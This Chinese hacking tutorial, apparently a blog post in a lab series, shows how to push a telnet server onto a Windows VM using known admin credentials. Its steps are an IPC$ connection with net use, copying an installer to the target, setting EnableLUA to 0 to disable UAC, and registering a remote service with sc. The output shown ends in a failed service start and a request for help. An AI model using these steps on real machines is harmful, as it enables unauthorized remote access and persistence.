win10黑客教学(2）-- 远程安装telnet..

Telnet 协议是 Internet 远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用 telnet 程序，用它连接到
服务器。终端使用者可以在 telnet 程序中输入命令，这些命令会在服务器上运行，就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。
要开始一个 telnet 会话，必须输入用户名和密码来登录服务器。Telnet 是常用的远程控制 Web 服务器的方法。

一,本地开启telnet服务
kali新手入门教学(15）–telnet服务及账号密码抓取

二、 远程开启 telnet 服务：
我们模拟的是对方没有telnet服务，需要我们远程给他安装一个telnet服务端
首先先把虚拟机切换到桥接模式
(1) 首先知道对方的账号密码
(2)对方有一个可以共享文件夹，具体怎么配置可以见我的第15期，上面也分享出来了，主要是安全和共享需要修改一下
(3) 本地有一个telnet服务端 .exe我也在15期里面分享了
(4)对方允许ipc$共享

首先检测能不能主机虚拟机互ping
桥接模式，并且关闭防火墙
不然都互ping不到

下面开始操作

net use \\192.168.5.128\ipc$   "123456"   /user:admin
命令成功完成。

然后映射c盘，不过也可以不用映射。。

net use e:  \\192.168.5.128\c
命令成功完成。

自己本地盘号不要重复了，重复了换一个
在进入此电脑可以看到有一个 e盘
然后我们把telent服务端复制过去，记住路径，往往c盘根目录权限我们是没有的
比如说我放到了
c:/cracer/telnetsetup.exe

当然也可以通过命令copy

copy telnetsetup.exe \\192.168.5.128\c\cracer
已复制         1 个文件。

我是切换到对应目录了所以不需要加路径了

在这之前，还需要修改一个地方
运行里面输入regedit
修改一个键值
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
把EnableLUA修改为0
不然会报错

sc \\192.168.5.128 create telnetd  binpath=  "C:\cracer\telnetdSetup.exe"
[SC] OpenSCManager 失败 5:

拒绝访问。

修改完之后就

sc \\192.168.5.128 create telnetd  binpath=  "C:\cracer\telnetdSetup.exe"
[SC] CreateService 成功

但是后面就

sc \\192.168.5.128 start telnetd
[SC] StartService 失败 1053:

服务没有及时响应启动或控制请求。

因为我们复制的是一个安装exe不是一个直接运行的，好像启动不了，不知道有没有大佬教教我
还求不吝赐教